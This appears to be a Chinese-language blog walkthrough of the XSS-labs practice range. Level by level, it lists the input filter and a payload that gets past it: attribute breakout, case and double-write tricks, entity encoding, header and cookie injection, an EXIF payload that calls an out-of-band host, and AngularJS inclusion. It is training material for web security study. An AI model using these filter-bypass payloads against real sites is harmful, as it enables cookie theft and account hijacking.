抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

level 01

xsslabs/level1.php?name=<script>alert(document.cookie)</script>

level 02

xsslabs/level2.php?keyword="><script>alert(document.cookie)</script>

level 03

已做 htmlspecialchars 将特殊字符:&<>'" 转换为 HTML 实体,但默认不过滤单引号
xsslabs/level3.php?keyword=' onclick='alert(document.cookie)'
经测试无法复现,因为:value=' 被强制转为 value=",php 版本太高 8.1.2

使用 fofa 上找到的靶场:https://xuanluansec.top/ 成功复现

level 04

和 03 差不多,比 03 更简单,去掉实体编码了
xsslabs/level4.php?keyword=" onclick="alert(document.cookie)

level 05

输入的 keyword 对 on 和 script 做了替换,没找到非 on 开头的事件,放弃使用 input 标签
发现没有对特殊字符转换,可以闭合 input 构造新标签实现 xss
xsslabs/level5.php?keyword="><a href="javascript:alert(/xss/)">alert</a><"

level 06

输入的 keyword 使用 str_replace 对 on/<script/href/src/data 替换为中间下划线
str_replace:区分大小写且不循环替换,使用大小写绕过:
xsslabs/level6.php?keyword="><a HrEf="javascript:alert(/xss/)">alert</a><"

level 07

输入的 keyword 转为小写,使用 str_replace 对 on/script/href/src/data 替换为空
这里使用双写,即可绕过:
xsslabs/level7.php?keyword="><a hrhrefef="javascrscriptipt:alert(/xss/)">alert</a><"

level 08

输入的 keyword 转为小写,使用 str_replace 对 on/script/href/src/data 替换为中间下划线
HTML 实体编码在 HTML 页面会被解析而在后端看不到,所以采取实体编码 javascript:alert(/xss/)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:&#97;&#108;&#101;&#114;&#116;&lpar;&sol;&#120;&#115;&#115;&sol;&rpar;

level 09

与 08 类似,仅多了校验是否存在 http://,alert 一个即可 javascript:alert("http://")
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:&#97;&#108;&#101;&#114;&#116;&lpar;&quot;http://&quot;&rpar;

level 10

前端源码中存在三个隐藏标签,其中第三个生效:&t_sort=" onclick="javascript:alert(/xss/)" type="text

level 11

同 10,不过 xss 位置位于 Referer:Referer: " onclick="javascript:alert(/xss/)" type="text

level 12

同 10,不过 xss 位置位于 User-Agent:User-Agent: " onclick="javascript:alert(/xss/)" type="text

level 13

同 10,但位于 Cookie[user]:Cookie: user=" onclick="javascript:alert(/xss/)" type="text

level 14

其包含的网站已经挂了,引起 xss 的原理为:
当网站读取图片 exif 中的恶意 payload 显示在网页中时,触发 payload 构成 xss。
找到两个网站:https://exif.tools/ https://jimpl.com/
第一个可以触发漏洞,第二个无法触发。修改 level14.php 为第一个。
然后使用 exiftool 写入 exiftool -artist='"<img src=//oob.vps.ip:8808 onclick=alert(/xss/)>' exif.jpg

level 15

看到 src 最后作用到了 <!-- --> 之间,但尝试 xss 失败。
AngularJS ng-include 指令可以将 HTML 页面包含在当前页面中,可以将 level10 页面包含进来:
level15.php?src=%27level10.php?t_sort=%22%20onclick=alert(/xss/)%20type=%22text%22%20%3E%3C%20%27

level 16

输入的 keyword 转为小写,使用 str_replace 对 空格,/,script,tab 做了替换
尝试用:&#32; 和 %0A 以及 HTML 等编码替换,发现 %0A 可以
level16.php?keyword=<svg%0Aonclick=alert(1)>

level 17-20

关于 Flash 的,略过
https://cloud.tencent.com/developer/beta/article/1746740

评论